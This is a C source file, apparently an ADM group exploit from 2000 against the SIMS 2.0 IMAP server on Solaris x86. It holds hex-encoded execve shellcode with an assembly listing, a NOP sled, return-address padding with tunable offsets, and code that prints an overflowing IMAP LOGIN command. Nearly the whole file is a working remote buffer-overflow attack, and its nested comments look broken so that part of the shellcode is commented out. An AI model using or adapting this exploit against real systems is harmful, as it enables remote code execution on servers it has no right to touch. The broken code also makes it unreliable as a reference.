/* Copyright (c) 2000 ADM */
/* All Rights Reserved */
/* THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF ADM */
/* The copyright notice above does not evidence any */
/* actual or intended publication of such source code. */
/* */
/* Title: ADMsximap.c (ADM Solaris X86 IMAP .c) */
/* Tested under: SIMS 2.0, fixed now */
/* By: K2 */
/* Discoverd by: DiGiT */
/* Shellcode by: cheez */
/* GROUP EFFORT*@$()!*$#(&@!*(!$ */
/* */


#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char shell[] =
/* 0 */ "\xeb\x2d"
/* start:
/* 2 */ "\x5e"
/* 3 */ "\x31\xdb"
/* 5 */ "\x88\x5e\x07"
/* 8 */ "\x89\x5e\x0c"
/* 11 */ "\x89\x5e\x13"
/* 14 */ "\x88\x5e\x18"
/* 17 */ "\xb3\x80"
/* 19 */ "\x28\x5e\xed"
/* 22 */ "\x28\x5e\xf1"
/* 25 */ "\x28\x5e\xf7"
/* 28 */ "\x28\x5e\xf8"
/* 31 */ "\x31\xc0"
/* 33 */ "\xd0"
/* 34 */ "\x8d\x5e\x08"
/* 37 */ "\xd3"
/* 38 */ "\x8d\x1e"
/* 40 */ "\x89\x5e\x08"
/* 43 */ "\xd3"
/* 44 */ "\xd0"
/* 45 */ "\xeb\x15"
/* springboard:
/* 47 */ "\xe8\xce\xff\xff\xff"
/* data:
/* 52 DATA
/* 60 */ "\xff\xff\xff\xff"
/* 64 */ "\xff\xff\xff\xff"
/* execve: */
/* 68 */ "\xb0\x3b"
/* 70 */ "\x9a\xff\xff\xff\xff\x07\xff"
*/
/* jmp springboard */
/* popl %esi */
/* xor %ebx,%ebx */
/* movb %bl,0x7(%esi) */
/* movl %ebx,0xc(%esi) */
/* movl %ebx,0x13(%esi) */
/* movb %bl,0x18(%esi) */
/* movb $0x80,%bl */
/* subb %bl,-0x13(%esi) */
/* subb %bl,-0xf(%esi) */
/* subb %bl,-0x9(%esi) */
/* subb %bl,-0x8(%esi) */
/* xor %eax,%eax */
/* pushl %eax */
/* leal 0x8(%esi),%ebx */
/* pushl %ebx */
/* leal (%esi),%ebx */
/* movl %ebx,0x8(%esi) */
/* pushl %ebx */
/* pushl %eax */
/* jmp exec */
/* call start */
/* DATA */
/* DATA */
/* DATA */

/* movb $0x3b,%al */
/* lcall 0x7,0x0 */

#define SIZE 1600
#define NOPDEF 631
#define DEFOFF -111

const char x86_nop=0x90;
long nop=NOPDEF,esp=0x80472a0;
long offset=DEFOFF;
char buffer[SIZE];

int main (int argc, char *argv[])
{
int i;

if (argc > 1) offset += strtol(argv[1], NULL, 0);
if (argc > 2) nop += strtoul(argv[2], NULL, 0);

memset(buffer, x86_nop, SIZE);
memcpy(buffer+nop, shell, strlen(shell));
for (i = (nop+strlen(shell)); i < SIZE; i += 4) {
*((int *) &buffer[i]) = esp+offset;
}

fprintf(stderr,"offset = 0x%x\tstrlen %d\n",esp+offset,strlen(buffer));
printf("604 LOGIN \"%s\" pass\r\n", buffer);

return 0;
}